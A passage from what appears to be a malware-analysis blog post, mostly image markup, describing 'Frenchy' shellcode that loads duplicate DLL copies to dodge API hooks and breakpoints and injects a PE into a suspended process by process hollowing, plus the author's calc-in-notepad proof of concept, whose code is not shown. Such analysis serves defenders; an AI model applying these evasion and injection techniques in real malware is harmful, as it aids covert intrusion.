srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> <br> If we enumerate the regions of the address space we can check there are some duplicated dlls:<br><br> <br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png" width="400" height="173" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:173,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEuHiufC0Rk0Fv11deKRIFoQLQY5JtQyuxy5sYPz5iRBSPOBw3-UUvSPUnjqY1VL0S7A7VXrxSYS2tLeGl6nCZ65XY7c79vMd08gmRZxOAkgbI4uNd_rSJ3hbhvDHNtakdl238_ceHTo/s400/duplicated_dlls.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br>This could make harder debugging the shellcode. API hooks (such as hooks inserted by cuckoo framework for example) won't work. If you set breakpoints at common APIs that are usually executed by malware (CreateProcessW, WriteProcessMemory, SetThreadContext, etc...) to catch the malware execution at that point, it won't work, because you would need to set breakpoints at the duplicated dlls.<br><br> <br> 2.1.3. API usage<br><br> The shellcode gets a pointer to a lot of APIs, but it only uses a subset of them. I feel like this is a very configurable shellcode, it always loads all the API pointers, but depending of the configuration and the code that it is added to the specific version of the shellcode, some API pointers will be used and other pointers won't be used.<br><br> Here is the full list of APIs that the shellcode loads:<br><br> <br></p><p><strong><br></strong> <br>Sometimes the shellcode gets pointers to the APIs on the originally loaded dlls. For example this happends with cryptoapi libraries. I guess this is because they don't work fine when they are called through a secondary copy of the dll.<br><br> <br> <br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png" width="391" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:391,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>2.1.4. Process Hollowing<br><br>The malware creates a new suspended process from the path of the given executable, and then it injects the given PE into the address space of that process by using the process hollowing method. It uses a set of native APIs to perform this task.<br><br> In the following capture we can see how the malware creates a new process and unmap the main module of the new created process. In addition, it maps the PE to be injected (to get a mapped copy of this PE) by calling NtCreateSection+NtMapViewOfSection:<br><br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJLml9FAvAYYai-RHPkX52S9tBwoOu5UHkXPA6fDHtvYHEeqr7YXUDaMK-LhFrxtLsY4R8T0I6_E9Ib5g7E3WYJm5mkYnZcc874j7tUqmCqknxxsZNqB85M2OoXLe4Df-1HMbrf-W2FT4/s1600/inject_process_steps1.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> Once it has unmapped the main module of the target process to be hollowed, and it has gotten a mapped view of the PE to be injected, it creates a new section into the target process address space to copy the PE to be injected there. It will use NtCreateSection + NtMapViewOfSection + NtWriteProcessMemory to perform this task:<br><br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSAWW8PjBA2UFRNmUaaXQtaeleVYbz6bsH1SDCwUaOwu8zB7yBnp0sRQgTF4xBzddu2VUERC77YY5T7ecATq6PC7PjHRsgzLeeHLFtYkCOLh5W3jW5HEc8vNjGya__068Ukg89zZfWUZk/s1600/inject_process_steps2.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> <br> Finally it changes the context of the main thread of the injected process to set EIP = injected code's starting address, and resumes the thread.<br><br> <br> <strong>2.2. Playing With Frenchy Shellcode</strong><br><br> To be honest, I consider this shellcode quite well-coded, it works fine. I decided to write a tiny PoC, a python script that loads and calls it, pushing as arguments the path of notepad.exe (target executable to use when performing hollow process) and the content of calc.exe'sPE file (the PE to be injected), to execute in this way a calc.exe in the context of notepad.exe, by using process hollowing.<br><br> <br> <br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png" width="640" height="332" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:332,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuP1UK2F5_xAjKmTyXju0YS2_iEYU1BjUrZmuX-dOzL0aCn-XyTmIR4dJnDznepg6ldyPawLbAtpzj1XkYfCDTFdTGbQ7SWKKX0ahw6LxZ-SmVjr2yVAw3cjZExpd-WmYa7nvQnbXoAU4/s640/notepad_calc.png 848w, 